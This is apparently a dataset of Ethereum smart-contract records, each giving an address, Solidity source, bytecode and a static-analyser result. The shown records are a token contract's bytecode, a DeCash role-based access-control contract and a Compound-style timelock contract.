610625565b60408051808201909152600c81527f53617475726e20546f6b656e0000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156103d557600080fd5b6103df83836106ba565b9392505050565b6b019d971e4fe8401e7400000081565b60035460009060a060020a900460ff161561041057600080fd5b61041b848484610720565b949350505050565b601281565b600354600160a060020a0316331461043f57600080fd5b60035460a060020a900460ff16151561045757600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156104ca57600080fd5b6103df83836108af565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a0316331461050657600080fd5b60035460a060020a900460ff161561051d57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f5341540000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156105cc57600080fd5b6103df838361099f565b60035460009060a060020a900460ff16156105f057600080fd5b6103df8383610a98565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461063c57600080fd5b600160a060020a038116151561065157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561073757600080fd5b600160a060020a03831630141561074d57600080fd5b600160a060020a03841660009081526001602052604090205482111561077257600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107a257600080fd5b600160a060020a0384166000908152600160205260409020546107cb908363ffffffff610b3116565b600160a060020a038086166000908152600160205260408082209390935590851681522054610800908363ffffffff610b4316565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610844908363ffffffff610b3116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561090457336000908152600260209081526040808320600160a060020a0388168452909152812055610939565b610914818463ffffffff610b3116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a03831615156109b657600080fd5b600160a060020a0383163014156109cc57600080fd5b336000908152600160205260409020548211156109e857600080fd5b33600090815260016020526040902054610a08908363ffffffff610b3116565b3360009081526001602052604080822092909255600160a060020a03851681522054610a3a908363ffffffff610b4316565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610acc908363ffffffff610b4316565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610b3d57fe5b50900390565b6000828201838110156103df57fe00a165627a7a723058201fb4cad9e16636c0b30f1b56d1af2ad39518d34d26c103f695f69041be270e3e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
3,611
0x8F3906Fd471b4fD49b88F420A516a90eAcC513cC
pragma solidity ^0.7.6; // SPDX-License-Identifier: MIT // Source code: https://github.com/DeCash-Official/smart-contracts interface DeCashRoleInterface { function transferOwnership(address _newOwner) external; function addRole(string memory _role, address _address) external; function removeRole(string memory _role, address _address) external; } interface DeCashStorageInterface { // Getters function getAddress(bytes32 _key) external view returns (address); function getUint(bytes32 _key) external view returns (uint256); function getString(bytes32 _key) external view returns (string memory); function getBytes(bytes32 _key) external view returns (bytes memory); function getBool(bytes32 _key) external view returns (bool); function getInt(bytes32 _key) external view returns (int256); function getBytes32(bytes32 _key) external view returns (bytes32); // Setters function setAddress(bytes32 _key, address _value) external; function setUint(bytes32 _key, uint256 _value) external; function setString(bytes32 _key, string calldata _value) external; function setBytes(bytes32 _key, bytes calldata _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int256 _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; // Deleters function deleteAddress(bytes32 _key) external; function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; } /// @title Base settings / modifiers for each contract in DeCash Token (Credits David Rugendyke/Rocket Pool) /// @author Fabrizio Amodio (ZioFabry) abstract contract DeCashBase { // Version of the contract uint8 public version; // The main storage contract where primary persistant storage is maintained DeCashStorageInterface internal _decashStorage = DeCashStorageInterface(0); /** * @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract */ modifier onlyLatestContract( string memory _contractName, address _contractAddress ) { require( _contractAddress == _getAddress( keccak256( abi.encodePacked("contract.address", _contractName) ) ), "Invalid or outdated contract" ); _; } modifier onlyOwner() { require(_isOwner(msg.sender), "Account is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin(msg.sender), "Account is not an admin"); _; } modifier onlySuperUser() { require(_isSuperUser(msg.sender), "Account is not a super user"); _; } modifier onlyDelegator(address _address) { require(_isDelegator(_address), "Account is not a delegator"); _; } modifier onlyFeeRecipient(address _address) { require(_isFeeRecipient(_address), "Account is not a fee recipient"); _; } modifier onlyRole(string memory _role) { require(_roleHas(_role, msg.sender), "Account does not match the role"); _; } /// @dev Set the main DeCash Storage address constructor(address _decashStorageAddress) { // Update the contract address _decashStorage = DeCashStorageInterface(_decashStorageAddress); } function isOwner(address _address) external view returns (bool) { return _isOwner(_address); } function isAdmin(address _address) external view returns (bool) { return _isAdmin(_address); } function isSuperUser(address _address) external view returns (bool) { return _isSuperUser(_address); } function isDelegator(address _address) external view returns (bool) { return _isDelegator(_address); } function isFeeRecipient(address _address) external view returns (bool) { return _isFeeRecipient(_address); } function isBlacklisted(address _address) external view returns (bool) { return _isBlacklisted(_address); } /// @dev Get the address of a network contract by name function _getContractAddress(string memory _contractName) internal view returns (address) { // Get the current contract address address contractAddress = _getAddress( keccak256(abi.encodePacked("contract.address", _contractName)) ); // Check it require(contractAddress != address(0x0), "Contract not found"); // Return return contractAddress; } /// @dev Get the name of a network contract by address function _getContractName(address _contractAddress) internal view returns (string memory) { // Get the contract name string memory contractName = _getString( keccak256(abi.encodePacked("contract.name", _contractAddress)) ); // Check it require( keccak256(abi.encodePacked(contractName)) != keccak256(abi.encodePacked("")), "Contract not found" ); // Return return contractName; } /// @dev Role Management function _roleHas(string memory _role, address _address) internal view returns (bool) { return _getBool( keccak256(abi.encodePacked("access.role", _role, _address)) ); } function _isOwner(address _address) internal view returns (bool) { return _roleHas("owner", _address); } function _isAdmin(address _address) internal view returns (bool) { return _roleHas("admin", _address); } function _isSuperUser(address _address) internal view returns (bool) { return _roleHas("admin", _address) || _isOwner(_address); } function _isDelegator(address _address) internal view returns (bool) { return _roleHas("delegator", _address) || _isOwner(_address); } function _isFeeRecipient(address _address) internal view returns (bool) { return _roleHas("fee", _address) || _isOwner(_address); } function _isBlacklisted(address _address) internal view returns (bool) { return _roleHas("blacklisted", _address) && !_isOwner(_address); } /// @dev Storage get methods function _getAddress(bytes32 _key) internal view returns (address) { return _decashStorage.getAddress(_key); } function _getUint(bytes32 _key) internal view returns (uint256) { return _decashStorage.getUint(_key); } function _getString(bytes32 _key) internal view returns (string memory) { return _decashStorage.getString(_key); } function _getBytes(bytes32 _key) internal view returns (bytes memory) { return _decashStorage.getBytes(_key); } function _getBool(bytes32 _key) internal view returns (bool) { return _decashStorage.getBool(_key); } function _getInt(bytes32 _key) internal view returns (int256) { return _decashStorage.getInt(_key); } function _getBytes32(bytes32 _key) internal view returns (bytes32) { return _decashStorage.getBytes32(_key); } function _getAddressS(string memory _key) internal view returns (address) { return _decashStorage.getAddress(keccak256(abi.encodePacked(_key))); } function _getUintS(string memory _key) internal view returns (uint256) { return _decashStorage.getUint(keccak256(abi.encodePacked(_key))); } function _getStringS(string memory _key) internal view returns (string memory) { return _decashStorage.getString(keccak256(abi.encodePacked(_key))); } function _getBytesS(string memory _key) internal view returns (bytes memory) { return _decashStorage.getBytes(keccak256(abi.encodePacked(_key))); } function _getBoolS(string memory _key) internal view returns (bool) { return _decashStorage.getBool(keccak256(abi.encodePacked(_key))); } function _getIntS(string memory _key) internal view returns (int256) { return _decashStorage.getInt(keccak256(abi.encodePacked(_key))); } function _getBytes32S(string memory _key) internal view returns (bytes32) { return _decashStorage.getBytes32(keccak256(abi.encodePacked(_key))); } /// @dev Storage set methods function _setAddress(bytes32 _key, address _value) internal { _decashStorage.setAddress(_key, _value); } function _setUint(bytes32 _key, uint256 _value) internal { _decashStorage.setUint(_key, _value); } function _setString(bytes32 _key, string memory _value) internal { _decashStorage.setString(_key, _value); } function _setBytes(bytes32 _key, bytes memory _value) internal { _decashStorage.setBytes(_key, _value); } function _setBool(bytes32 _key, bool _value) internal { _decashStorage.setBool(_key, _value); } function _setInt(bytes32 _key, int256 _value) internal { _decashStorage.setInt(_key, _value); } function _setBytes32(bytes32 _key, bytes32 _value) internal { _decashStorage.setBytes32(_key, _value); } function _setAddressS(string memory _key, address _value) internal { _decashStorage.setAddress(keccak256(abi.encodePacked(_key)), _value); } function _setUintS(string memory _key, uint256 _value) internal { _decashStorage.setUint(keccak256(abi.encodePacked(_key)), _value); } function _setStringS(string memory _key, string memory _value) internal { _decashStorage.setString(keccak256(abi.encodePacked(_key)), _value); } function _setBytesS(string memory _key, bytes memory _value) internal { _decashStorage.setBytes(keccak256(abi.encodePacked(_key)), _value); } function _setBoolS(string memory _key, bool _value) internal { _decashStorage.setBool(keccak256(abi.encodePacked(_key)), _value); } function _setIntS(string memory _key, int256 _value) internal { _decashStorage.setInt(keccak256(abi.encodePacked(_key)), _value); } function _setBytes32S(string memory _key, bytes32 _value) internal { _decashStorage.setBytes32(keccak256(abi.encodePacked(_key)), _value); } /// @dev Storage delete methods function _deleteAddress(bytes32 _key) internal { _decashStorage.deleteAddress(_key); } function _deleteUint(bytes32 _key) internal { _decashStorage.deleteUint(_key); } function _deleteString(bytes32 _key) internal { _decashStorage.deleteString(_key); } function _deleteBytes(bytes32 _key) internal { _decashStorage.deleteBytes(_key); } function _deleteBool(bytes32 _key) internal { _decashStorage.deleteBool(_key); } function _deleteInt(bytes32 _key) internal { _decashStorage.deleteInt(_key); } function _deleteBytes32(bytes32 _key) internal { _decashStorage.deleteBytes32(_key); } function _deleteAddressS(string memory _key) internal { _decashStorage.deleteAddress(keccak256(abi.encodePacked(_key))); } function _deleteUintS(string memory _key) internal { _decashStorage.deleteUint(keccak256(abi.encodePacked(_key))); } function _deleteStringS(string memory _key) internal { _decashStorage.deleteString(keccak256(abi.encodePacked(_key))); } function _deleteBytesS(string memory _key) internal { _decashStorage.deleteBytes(keccak256(abi.encodePacked(_key))); } function _deleteBoolS(string memory _key) internal { _decashStorage.deleteBool(keccak256(abi.encodePacked(_key))); } function _deleteIntS(string memory _key) internal { _decashStorage.deleteInt(keccak256(abi.encodePacked(_key))); } function _deleteBytes32S(string memory _key) internal { _decashStorage.deleteBytes32(keccak256(abi.encodePacked(_key))); } } /// @title Role Based Access Control for DeCash Token (Credits David Rugendyke/Rocket Pool) /// @author Fabrizio Amodio (ZioFabry) contract DeCashRole is DeCashBase, DeCashRoleInterface { // Events event RoleAdded(bytes32 indexed role, address indexed to); event RoleRemoved(bytes32 indexed role, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); // Construct constructor(address _decashStorageAddress) DeCashBase(_decashStorageAddress) { version = 1; } /** * @dev Allows the current owner to transfer control of the network to a new owner * @param _newOwner The address to transfer ownership to */ function transferOwnership(address _newOwner) external override onlyLatestContract("role", address(this)) onlyOwner { // Check new owner address require(_newOwner != address(0x0), "The new owner address is invalid"); require( _newOwner != msg.sender, "The new owner address must not be the existing owner address" ); // Remove current owner _deleteBool( keccak256(abi.encodePacked("access.role", "owner", msg.sender)) ); // Add new owner _setBool( keccak256(abi.encodePacked("access.role", "owner", _newOwner)), true ); // Emit ownership transferred event emit OwnershipTransferred(msg.sender, _newOwner); } /** * @dev Add a role to an address */ function addRole(string memory _role, address _address) external override onlyLatestContract("role", address(this)) onlySuperUser { // Check role require( keccak256(abi.encodePacked(_role)) != keccak256(abi.encodePacked("owner")), "The owner role cannot be added to an address" ); // Check address require(_address != address(0x0), "The address is invalid"); // Check address does not already have role require( !_getBool( keccak256(abi.encodePacked("access.role", _role, _address)) ), "The address already has access to this role" ); // Add role _setBool( keccak256(abi.encodePacked("access.role", _role, _address)), true ); // Emit role added event emit RoleAdded(keccak256(abi.encodePacked(_role)), _address); } /** * @dev Remove a role from an address */ function removeRole(string memory _role, address _address) external override onlyLatestContract("role", address(this)) onlySuperUser { // Check role is not being removed from owner address require( !_roleHas("owner", _address), "Roles cannot be removed from the owner address" ); // Check address has role require( _getBool( keccak256(abi.encodePacked("access.role", _role, _address)) ), "The address does not have access to this role" ); // Remove role _deleteBool( keccak256(abi.encodePacked("access.role", _role, _address)) ); // Emit role removed event emit RoleRemoved(keccak256(abi.encodePacked(_role)), _address); } } contract GBPDRole is DeCashRole { constructor(address _storage) DeCashRole(_storage) {} }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80636735b3a7116100665780636735b3a7146101fa578063cd784d1b146102ab578063f2fde38b146102d1578063fd8ab482146102f7578063fe575a871461031d5761009e565b8063032f2d48146100a35780630fea4e661461015657806324d7806c146101905780632f54bf6e146101b657806354fd4d50146101dc575b600080fd5b610154600480360360408110156100b957600080fd5b8101906020810181356401000000008111156100d457600080fd5b8201836020820111156100e657600080fd5b8035906020019184600183028401116401000000008311171561010857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505090356001600160a01b031691506103439050565b005b61017c6004803603602081101561016c57600080fd5b50356001600160a01b0316610731565b604080519115158252519081900360200190f35b61017c600480360360208110156101a657600080fd5b50356001600160a01b0316610742565b61017c600480360360208110156101cc57600080fd5b50356001600160a01b031661074d565b6101e4610758565b6040805160ff9092168252519081900360200190f35b6101546004803603604081101561021057600080fd5b81019060208101813564010000000081111561022b57600080fd5b82018360208201111561023d57600080fd5b8035906020019184600183028401116401000000008311171561025f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505090356001600160a01b031691506107619050565b61017c600480360360208110156102c157600080fd5b50356001600160a01b0316610b88565b610154600480360360208110156102e757600080fd5b50356001600160a01b0316610b93565b61017c6004803603602081101561030d57600080fd5b50356001600160a01b0316610e56565b61017c6004803603602081101561033357600080fd5b50356001600160a01b0316610e61565b60405180604001604052806004815260200163726f6c6560e01b815250306103f28260405160200180806f636f6e74726163742e6164647265737360801b81525060100182805190602001908083835b602083106103b25780518252601f199092019160209182019101610393565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120610e6c565b6001600160a01b0316816001600160a01b031614610457576040805162461bcd60e51b815260206004820152601c60248201527f496e76616c6964206f72206f7574646174656420636f6e747261637400000000604482015290519081900360640190fd5b61046033610ef8565b6104b1576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e74206973206e6f74206120737570657220757365720000000000604482015290519081900360640190fd5b6104d86040518060400160405280600581526020016437bbb732b960d91b81525084610f30565b156105145760405162461bcd60e51b815260040180806020018281038252602e8152602001806111a3602e913960400191505060405180910390fd5b6105b4848460405160200180806a6163636573732e726f6c6560a81b815250600b0183805190602001908083835b602083106105615780518252601f199092019160209182019101610542565b6001836020036101000a038019825116818451168082178552505050505050905001826001600160a01b031660601b81526014019250505060405160208183030381529060405280519060200120610f85565b6105ef5760405162461bcd60e51b815260040180806020018281038252602d8152602001806111d1602d913960400191505060405180910390fd5b61068f848460405160200180806a6163636573732e726f6c6560a81b815250600b0183805190602001908083835b6020831061063c5780518252601f19909201916020918201910161061d565b6001836020036101000a038019825116818451168082178552505050505050905001826001600160a01b031660601b81526014019250505060405160208183030381529060405280519060200120610fdf565b826001600160a01b0316846040516020018082805190602001908083835b602083106106cc5780518252601f1990920191602091820191016106ad565b51815160209384036101000a60001901801990921691161790526040805192909401828103601f1901835293849052815191012093507f386d9cbd39c6982fff442b5b01ad1d6d816ae1aaf10be0bfb45e8c19d25fc7cd92506000919050a350505050565b600061073c82611046565b92915050565b600061073c8261106d565b600061073c82611096565b60005460ff1681565b60405180604001604052806004815260200163726f6c6560e01b815250306107cf8260405160200180806f636f6e74726163742e6164647265737360801b8152506010018280519060200190808383602083106103b25780518252601f199092019160209182019101610393565b6001600160a01b0316816001600160a01b031614610834576040805162461bcd60e51b815260206004820152601c60248201527f496e76616c6964206f72206f7574646174656420636f6e747261637400000000604482015290519081900360640190fd5b61083d33610ef8565b61088e576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e74206973206e6f74206120737570657220757365720000000000604482015290519081900360640190fd5b60405160200180806437bbb732b960d91b815250600501905060405160208183030381529060405280519060200120846040516020018082805190602001908083835b602083106108f05780518252601f1990920191602091820191016108d1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012014156109685760405162461bcd60e51b815260040180806020018281038252602c815260200180611229602c913960400191505060405180910390fd5b6001600160a01b0383166109bc576040805162461bcd60e51b8152602060048201526016602482015275151a19481859191c995cdcc81a5cc81a5b9d985b1a5960521b604482015290519081900360640190fd5b610a08848460405160200180806a6163636573732e726f6c6560a81b815250600b018380519060200190808383602083106105615780518252601f199092019160209182019101610542565b15610a445760405162461bcd60e51b815260040180806020018281038252602b8152602001806111fe602b913960400191505060405180910390fd5b610ae6848460405160200180806a6163636573732e726f6c6560a81b815250600b0183805190602001908083835b60208310610a915780518252601f199092019160209182019101610a72565b6001836020036101000a038019825116818451168082178552505050505050905001826001600160a01b031660601b8152601401925050506040516020818303038152906040528051906020012060016110bf565b826001600160a01b0316846040516020018082805190602001908083835b60208310610b235780518252601f199092019160209182019101610b04565b51815160209384036101000a60001901801990921691161790526040805192909401828103601f1901835293849052815191012093507f400b1a91f3c12e695abb38f7fc20dd2cf26f6d9c4d1dc817d39a98b51f146f7892506000919050a350505050565b600061073c82610ef8565b60405180604001604052806004815260200163726f6c6560e01b81525030610c018260405160200180806f636f6e74726163742e6164647265737360801b8152506010018280519060200190808383602083106103b25780518252601f199092019160209182019101610393565b6001600160a01b0316816001600160a01b031614610c66576040805162461bcd60e51b815260206004820152601c60248201527f496e76616c6964206f72206f7574646174656420636f6e747261637400000000604482015290519081900360640190fd5b610c6f33611096565b610cc0576040805162461bcd60e51b815260206004820152601860248201527f4163636f756e74206973206e6f7420746865206f776e65720000000000000000604482015290519081900360640190fd5b6001600160a01b038316610d1b576040805162461bcd60e51b815260206004820181905260248201527f546865206e6577206f776e6572206164647265737320697320696e76616c6964604482015290519081900360640190fd5b6001600160a01b038316331415610d635760405162461bcd60e51b815260040180806020018281038252603c815260200180611255603c913960400191505060405180910390fd5b604080516a6163636573732e726f6c6560a81b6020808301919091526437bbb732b960d91b602b8301523360601b60308301528251602481840301815260449092019092528051910120610db690610fdf565b604080516a6163636573732e726f6c6560a81b6020808301919091526437bbb732b960d91b602b8301526bffffffffffffffffffffffff19606087901b1660308301528251602481840301815260449092019092528051910120610e1b9060016110bf565b6040516001600160a01b0384169033907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b600061073c8261112f565b600061073c8261115c565b60008060019054906101000a90046001600160a01b03166001600160a01b03166321f8a721836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610ec657600080fd5b505afa158015610eda573d6000803e3d6000fd5b505050506040513d6020811015610ef057600080fd5b505192915050565b6000610f216040518060400160405280600581526020016430b236b4b760d91b81525083610f30565b8061073c575061073c82611096565b6000610f7e838360405160200180806a6163636573732e726f6c6560a81b815250600b018380519060200190808383602083106105615780518252601f199092019160209182019101610542565b9392505050565b60008060019054906101000a90046001600160a01b03166001600160a01b0316637ae1cfca836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610ec657600080fd5b6000805460408051632c62ff2d60e01b81526004810185905290516101009092046001600160a01b031692632c62ff2d9260248084019382900301818387803b15801561102b57600080fd5b505af115801561103f573d6000803e3d6000fd5b5050505050565b6000610f216040518060400160405280600381526020016266656560e81b81525083610f30565b600061073c6040518060400160405280600581526020016430b236b4b760d91b81525083610f30565b600061073c6040518060400160405280600581526020016437bbb732b960d91b81525083610f30565b600080546040805163abfdcced60e01b815260048101869052841515602482015290516101009092046001600160a01b03169263abfdcced9260448084019382900301818387803b15801561111357600080fd5b505af1158015611127573d6000803e3d6000fd5b505050505050565b6000610f21604051806040016040528060098152602001683232b632b3b0ba37b960b91b81525083610f30565b600061118b6040518060400160405280600b81526020016a189b1858dadb1a5cdd195960aa1b81525083610f30565b801561073c575061119b82611096565b159291505056fe526f6c65732063616e6e6f742062652072656d6f7665642066726f6d20746865206f776e65722061646472657373546865206164647265737320646f6573206e6f7420686176652061636365737320746f207468697320726f6c65546865206164647265737320616c7265616479206861732061636365737320746f207468697320726f6c65546865206f776e657220726f6c652063616e6e6f7420626520616464656420746f20616e2061646472657373546865206e6577206f776e65722061646472657373206d757374206e6f7420626520746865206578697374696e67206f776e65722061646472657373a2646970667358221220beb7f3235893e600873863deaf6eb22b509f58714295e0217e172f333c46833f64736f6c63430007060033
{"success": true, "error": null, "results": {}}
3,612
0x66c5c16d13a38461648c1d097f219762d374b412
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract TimelockHasOperator { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewOperator(address indexed newOperator); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 1 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; // should be a multi-sig or DAO address public pendingAdmin; address public operator; // add this role (could be EOA) to initiate (queue) a new tx uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); operator = msg.sender; admin = admin_; delay = delay_; admin_initialized = false; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function setOperator(address operator_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); operator = operator_; emit NewOperator(operator); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin || msg.sender == operator, "Timelock::queueTransaction: Call must come from admin or operator."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
